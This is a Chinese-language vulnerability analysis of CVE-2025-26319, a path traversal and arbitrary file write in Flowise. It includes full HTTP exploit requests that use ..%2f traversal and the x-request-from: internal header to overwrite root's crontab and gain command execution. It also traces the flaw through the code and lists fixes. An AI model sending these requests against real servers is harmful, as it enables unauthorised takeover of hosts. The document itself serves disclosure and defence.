漏洞简介
Flowise 是一款与 LangChain 兼容的开源低代码工具,旨在让普通用户和开发人员都能通过可视化的连线方式,轻松创建 LLM 工作流和 AI 应用。然而,该平台近期被发现存在一个严重的文件上传漏洞——尽管 Flowise 本身实施了一定的上传校验机制,但攻击者仍然能够通过特殊的 URL 编码来巧妙地绕过这些限制,最终实现任意目录的文件写入。
这一安全缺陷的危险性不容小觑。利用该漏洞,未经授权的攻击者可以上传恶意文件、脚本,甚至是 SSH 密钥,从而完全掌控托管服务器,获取远程控制权限。这对于依赖该平台构建 AI 代理的组织机构来说,无疑构成了重大的安全威胁,可能导致数据泄露、服务中断甚至更严重的后果。
漏洞复现
要复现此漏洞,首先需要搭建一个测试环境。我们可以使用 Docker 来快速部署 FlowiseAI。

成功启动服务后,通过浏览器访问 http://localhost:3000,即可看到 FlowiseAI 的管理界面。

环境搭建好后,接下来我们构造一个正常的文件上传数据包,来观察其行为。
POST /api/v1/attachments/test/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

服务器返回了 200 OK,表明上传成功。那么文件被保存到哪里去了呢?我们在服务器上进行查找。

可以看到,文件被成功写入到了 ./root/.flowise/storage/test/test/test.txt 路径下。这里的存储路径似乎与请求URL中的参数 test/test 直接相关。
这就引出了一个关键问题:能否通过操控这些路径参数,实现目录穿越呢?我们尝试在 URL 中使用 ..%2f(即 ../ 的URL编码)来构造一个数据包。
POST /api/v1/attachments/..%2ftest/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

服务器依然返回成功。我们再次在服务器上查找文件,这次发现了两个位置。

除了原有的路径外,文件还被写入到了 ./root/.flowise/test/test/test.txt。这说明我们成功地利用 ../ 跳出了 storage 目录的限制,将文件写入了更高层级的目录。这个发现是典型的路径遍历漏洞,也是许多渗透测试场景中的关键突破口。
既然可以跳出 storage 目录,攻击者自然会尝试更深入的利用,例如向系统关键位置写入文件以实现远程命令执行。一个经典的利用方式是覆盖 root 用户的 crontab 文件。
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 657
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
* * * * * echo "a" >> /tmp/test.txt
------WebKitFormBoundary7MA4YWxkTrZu0gW--

请求成功!我们等待一段时间,让定时任务执行,然后检查 /tmp/test.txt 文件。

文件已成功创建,并且内容为 a。再通过 ps 命令查看进程,可以确认是 crond 服务执行了我们的命令。

至此,我们成功利用该漏洞实现了任意命令执行,完全控制了服务器。这种能力一旦被恶意攻击者掌握,对线上业务的运维与安全将是毁灭性的打击。
漏洞分析
漏洞的根源在于 Flowise 的权限校验与文件处理逻辑存在缺陷。让我们深入到代码层面进行剖析。
首先,在 Flowise 的核心架构中,constants.ts 文件定义了一系列无需认证即可访问的 API 端点,这些端点被归类为 WHITELIST_URLS。这个设计的初衷是为了允许特定功能(如 API 密钥验证、公共聊天流和部分文件操作等)在未经认证的情况下运行,以提升用户体验和系统灵活性。
Flowise-main/packages/server/src/utils/constants.ts

我们可以看到,/api/v1/attachments 正在此白名单中。这意味着对该路径及其子路径的请求,将绕过主要的 API 密钥验证流程。
当服务器接收到 HTTP 请求时,其鉴权流程遵循以下逻辑顺序(定义在 index.ts 中):
- 检查请求路径是否包含
/api/v1 前缀(不区分大小写)。
- 进行大小写敏感的路径验证。
- 判断该 URL 是否存在于预定义的白名单 (
WHITELIST_URLS) 中。
- 如果在白名单内,则直接放行 (
next())。
- 如果不在白名单内,则检查请求头
x-request-from 是否为 internal,或者尝试验证 API 密钥。
Flowise-main/packages/server/src/index.ts

因此,当我们构造的请求路径为 /api/v1/attachments/../test 且携带了 x-request-from: internal 请求头时,它首先匹配了白名单前缀 /api/v1/attachments,随后又因为请求头符合条件,从而通过了 basicAuthMiddleware 校验,最终被路由处理。
文件上传请求的路由定义如下:
Flowise-main/packages/server/src/routes/attachments/index.ts

路由将请求导向 attachmentsController.createAttachment 控制器。该控制器几乎不做处理,直接调用了 createFileAttachment 服务函数。
Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment

关键的逻辑在 createFileAttachment 函数中。从路由定义我们已知上传路径模式为 /api/v1/attachments/:chatflowId/:chatId。该函数会获取 URL 中的 :chatflowId 和 :chatId 参数,并将它们连同文件数据一起传递给 addArrayFilesToStorage 函数进行存储。
Flowise-main/packages/server/src/utils/createAttachment.ts#createFileAttachment

漏洞的核心点就出现在 addArrayFilesToStorage 函数中。
Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage

问题在于第 83 行:const dir = path.join(getStoragePath(), ...paths)。这里的 ...paths 变量直接来源于 URL 中的 :chatflowId 和 :chatId 等参数。path.join() 函数在拼接路径时,会自动解析并处理其中的 .. 序列。然而,Flowise 在将参数传递给 path.join() 之前,没有对参数进行任何规范化或过滤,以移除可能包含的目录遍历序列(如 ../)。
因此,当攻击者传入 ..%2ftest 作为 chatflowId 时,经过 URL 解码变成 ../test,再被 path.join() 处理,就成功地跳出了预定的存储目录,实现了任意文件写入。
总结与反思
CVE-2025-26319 漏洞是一个典型的因输入验证不严导致的路径遍历漏洞。它暴露了 FlowiseAI 在两个层面的安全问题:
- 权限校验逻辑的缺陷:
/api/v1/attachments 被列入白名单,且仅通过 x-request-from: internal 头进行简易校验,为未授权访问打开了大门。
- 文件路径处理的疏忽:在处理用户可控的路径参数时,直接拼接而未做安全过滤,是造成目录穿越的直接原因。
对于开发者而言,此漏洞的修复方案是清晰的:
- 输入验证与净化:在处理文件路径时,必须对用户输入进行严格的校验和规范化。可以使用
path.normalize() 后再检查结果是否仍在预期的基础目录内,或者使用拒绝列表过滤掉 .. 等特殊字符。
- 权限复审:重新评估白名单 API 的必要性和安全性,对涉及文件操作等敏感功能的端点实施更严格的认证与授权。
对于使用 FlowiseAI 的企业和开发者,应立即检查所用版本是否受影响,并尽快升级到官方已修复的版本。同时,也应将此类漏洞的分析作为内部安全培训的案例,提升整体安全开发意识。深度技术分析与漏洞复现是安全从业者提升能力的重要途径,我们欢迎大家在 云栈社区 进行更多此类技术的探讨与分享。